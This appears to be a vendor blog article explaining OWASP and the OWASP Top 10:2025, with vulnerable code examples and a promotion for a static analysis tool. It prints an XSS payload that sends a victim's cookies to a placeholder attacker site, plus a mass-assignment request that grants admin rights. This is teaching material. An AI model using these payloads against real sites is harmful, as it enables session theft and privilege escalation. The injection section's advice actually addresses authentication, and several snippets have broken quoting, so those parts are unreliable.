What Is OWASP? Overview + OWASP Top 10

OWASP and OWASP Top 10 help to safeguard your code against software security vulnerabilities. Here, we explain what OWASP is and what the OWASP Top 10 vulnerabilities are.

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What Is OWASP?

OWASP stands for Open Web Application Security Project. It is a non-profit foundation whose sole purpose is to improve software security by providing the community with the tools and knowledge.

As a non-profit organization, OWASP makes all its resources (including articles, methodologies, documentation, tools, and technologies) available free of charge and easy to access for anyone interested in keeping web applications secure.

Why Is OWASP (and OWASP Top 10) Important?

Before OWASP, there wasn’t a lot of educational content available about combating vulnerabilities in cybersecurity. Developers created applications based on their knowledge and shared experience in their community. There was no open-source initiative that documented internet security threats and how hackers exploited common security problems that can be addressed at the code and technical levels.

OWASP provided knowledge about the tactics that hackers use and how to fight them. Over the years, this project has helped the community:

• Safeguard their code against cybersecurity vulnerabilities.
• Strengthen software encryption.
• Reduce security errors, bugs, and defects in their code.

Learning more about how security standards — like CERT C, CWE, PCI DSS, and DISA STIG — can help ensure software security.

What Is The OWASP Top 10?

OWASP Top 10 is one of the most popular and appreciated resources released by the OWASP Foundation. This paper provides information about the 10 most critical security risks for applications at the time of the study. These risks are the exploits that are most often used by hackers and cause the most damage.

Globally, OWASP Top 10 is recognized by developers as the first step toward more secure coding. It provides a standardized application security awareness document, which is updated every year by a team of security experts around the world. This document is based on a broad consensus of the most critical security risks to web applications of that year.

Throughout the years, the information in this study is used by organizations and individuals to change their software development process to produce more secure code.

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A Closer Look at OWASP Top 10:2025

1. Broken Access Control

Each piece of information should be available only to a specific set of users based on the access they have been granted. Broken access control can lead to scenarios where users access information they don't have authority to access.

For example, if a regular user can access the admin page even if they are not an administrator, their role has not been validated properly. This security risk can be mitigated by implementing a model access control based on record ownership.

2. Security Misconfiguration

Misconfiguration means the software works as designed, but the settings leave it exposed to attack. It could be a default admin account staying enabled or cloud storage permissions defaulting to public.

To mitigate misconfiguration risks, build a repeatable, automated security hardening process that includes tasks such as:

• Configure development, QA, and production identically, with separate credentials for each.
• Strip out unused features, sample code, and default accounts before production.
• Automatically verify security settings after every deployment.

3. Software Supply Chain Failures

This category covers compromises anywhere in the software supply chain that builds, distributes, or updates your software. That includes third-party libraries, transitive dependencies, package registries, build servers, container registries, and developer tooling. Attackers have been known to poison npm packages, plant backdoors in signed vendor updates, and target developer workstations directly.

Mitigation techniques include generating a software bill of materials and tracking transitive dependencies, not only direct ones, and pulling components from official sources over secure links. Additionally, you can stage rollouts so if one update is compromised, it cannot reach all systems at once.

4. Cryptographic Failures

Cryptographic failures focus on cryptography-related failures, such as missing encryption, weak algorithms, and mishandled keys. Rather than directly attacking a system, hackers often try to steal data while in transit from the user's browser. To prevent such attacks, you need to create a secure communication channel.

For web applications, a quick solution is to enforce TLS on all pages, not just the login form. Without an enforced TLS policy or with poor encryption, a hacker can monitor network traffic, downgrade the connection from HTTPS to HTTP, and capture all information passed in clear text: user data, passwords, session cookies, and so on.

5. Injection

Injection occurs when an attacker pollutes the query sent to the back-end application with valid code that the target executes. Attackers use this to trick the system into executing unintentional commands that they provide through an API.

Preventing users from using weak passwords and limiting failed login attempts effectively secures most user accounts from this vulnerability. You should also set session timeouts and implement credential recovery systems to help users protect their accounts from unintentional mistakes and recover them without difficulty.

In addition, this type of vulnerability now includes CWEs more closely related to identification failures.

6. Insecure Design

Insecure design describes missing or ineffective controls, decided before anyone writes a line of code. Clean implementation cannot fix it, since the design never accounted for an attack and the necessary controls were never built. For example, a booking system that caps group reservations at fifteen seats but never enforces that limit on the server may expose a potential attack surface.

Modeling threat flows early, including authentication, authorization, and high-value transactions, helps identify the controls to implement during development.

7. Authentication Failures

Authentication fails when an attacker convinces a system that an invalid user is legitimate. Credential stuffing drives most of these attacks, where attackers use automated tools to feed stolen credentials in bulk. Other weaknesses include default credentials, recovery flows built on security questions, session IDs exposed in URLs, and sessions that survive logout.

8. Software or Data Integrity Failures

This category covers code and data that your application trusts without verifying. Examples include auto-update mechanisms that install unsigned firmware or CI/CD pipelines that pull artifacts from untrusted locations and skip signature checks. Insecure deserialization also has an impact, where an attacker can see and modify a serialized object to remotely execute code.

The quickest and possibly safest way to protect yourself against insecure deserialization is to avoid accepting serialized objects from untrusted sources and to limit their use within your application.

9. Security Logging and Alerting Failures

Previously known as "Insufficient Logging and Monitoring," the category has expanded to include more types of failures, including those that are challenging to test for and those that are not well represented in CVE and CVSS data. Examples include failed logins that go unrecorded, errors that produce vague messages, or logs that sit on one machine with no backup or tamper protection. The impact is having a breach spread for months until an outside party reports it.

OWASP recommends these controls:

• Log the outcome of every security control, success and failure, with enough context to identify the account.
• Encode log data so attackers cannot inject into your logging pipeline.
• Protect audit trails with append-only database storage.
• Define alert thresholds and escalation playbooks with your security team.

10. Mishandling of Exceptional Conditions

This category covers what happens when your application encounters an unplanned or unpredictable situation. A parameter could go missing, a connection could drop halfway through a call, memory could run out, or a reference could come back null. When handling is missing or incomplete, the app can crash or enter a corrupted state, and the error it returns to the user could reveal details about what you're running. Worse, it could let a malicious request through to access sensitive resources.

Because these failures occur when the app loses track of its own state, catching the error at the function level helps resolve it intelligently rather than through a generic handler higher up in the call stack. If something goes wrong partway through a transaction, roll back the whole operation before starting again, to avoid unrecoverable mistakes.

📕 Related Resource: Top 10 Software Vulnerabilities.

Ensure Secure Code Through OWASP Top 10 Compliance and OWASP Static Code Analysis

While writing code, you need to consider all the possible security issues described above. Here are a few code snippets for some of the vulnerabilities discussed above. 

The following code snippet shows how an HTML page is constructed using a template engine on the back end. Then, this page introduces an XSS vulnerability by inserting untrusted data into the HTML page without validation or escaping:

page += "<input name='user' type="text'
value=' " + request.getParameter("user") + " '>";

For such pages, the attacker can modify the user parameter in the browser to the following:

<script>
  document.location='http://www.hacker-website.com/cookies?cookie='+document.cookie'
</script>

This will cause the victim's browser to make a GET request to the attacker's website and send all their cookies to the hacker. The hacker can then hijack all the user information that the targeted application stores as cookies in the user's browser, including tokens and session IDs.

Another example of vulnerable code implementation is the following snippet:

app.post("/register", async (req,res) => {
  await db.collection('users').insertOne({...req.body});
  res.status(201).send()
})

It shows the back-end code that manages user registration in a web application that uses a NoSQL database. The problem is that it uses everything it receives as parameters without validation, assuming only the necessary data will be sent to the endpoint.

A hacker can exploit this vulnerability if they learn the user schema and provide any information they want.

If the user schema includes an admin field and an account confirmed field, a hacker can simply bypass this by sending a POST request with the following JSON:

{
  "email":"my-email",
  "admin":"true",
  "accountConfirmed":"true"
  }

Other Common Vulnerabilities

Although the OWASP Top 10 vulnerabilities are the ones that do the most harm and are most widespread, there are other vulnerabilities that hackers can exploit when attacking a website. Two other common security issues that should not be neglected are open redirects and excessive data exposure.

Open Redirects

An open redirect vulnerability is one of the easiest to exploit and requires almost no hacking experience whatsoever. It's a security flaw in an application that can be abused to redirect users to a malicious site.

The problem is that vulnerable applications fail to properly authenticate URLs to verify that those URLs are part of the intended page's domain. Instead, such applications simply redirect to the page provided, regardless of the URL.

This vulnerability is often exploited to create phishing attacks to steal user credentials and trick users into making payments.

Excessive Data Exposure

Sometimes, we tend to overdo things. The same happens when handling specific cases while developing applications.

In web applications, we tend to expose more data than necessary, additional object properties, excessive information about error handling, and so on. This is often done when we focus on providing a better user experience without considering the sensitivity of the information we expose. The problem is that an attacker can abuse this extra information to gain access inside the network or to capture sensitive information.

How to Enforce Cybersecurity Best Practices Using OWASP Top 10

If you follow the OWASP Top 10, your application will be on a safe path. However, mistakes can still be made. Therefore, an extra layer of security is always advisable. In addition to developing your application while keeping the OWASP Top 10 in mind, you can also follow some cybersecurity best practices. Here are some of them.

Security Testing

Running regular security tests on your application helps ensure it stays up to date in terms of protection. Security testing helps you detect all the possible threats in the application and assess its potential vulnerabilities. The information gathered from these security testing should be used to determine if the system can be exploited or not. This will help developers fix any issues through the use of code.

Open Source Dependencies

Nowadays, most applications we develop contain at least open source dependency. In fact, if you are not developing a highly private application for an organization, chances are most of your application is composed of open source components. This is what gives us the speed and power to build tools that we would not have been able to create otherwise.

Open source has its advantages and disadvantages. When it comes to best security practices, you need to make sure that the dependencies you include in the application do not behave like an open door for hackers. For this, you need to be sure that you always install dependencies from secure and verified repositories.

At the same time, you also need to ensure the quality of each dependency you add. That's why you should always try to add components that have a good community around them. They have a large number of users, and the community is actively engaged in updating and fixing reported issues.

Lastly, many attacks that take place result from the use of outdated versions of software. So, once the dependency is installed, it must also be kept up to date. This can be done automatically through various programs or manually at regular intervals. The community fixes the reported vulnerabilities and problems in vain if users do not update to the latest version. 

Why Choose Perforce Klocwork for OWASP Top 10 Compliance

One of the best ways to ensure OWASP compliance is to use a static code analysis and SAST tool — such as Perforce Klocwork — to help you enforce secure coding best practices.

Static code analyzers enforce coding rules and flag security violations. Klocwork includes code security taxonomies to help ensure secure, reliable, and efficient software.

Each one includes:

• Fully documented rule enforcement and message interpretation.
• Fully configurable rules processing.
• Compliance reports for security audits.

See for yourself how Klocwork can help you enforce secure software practices. Register for a free trial. 

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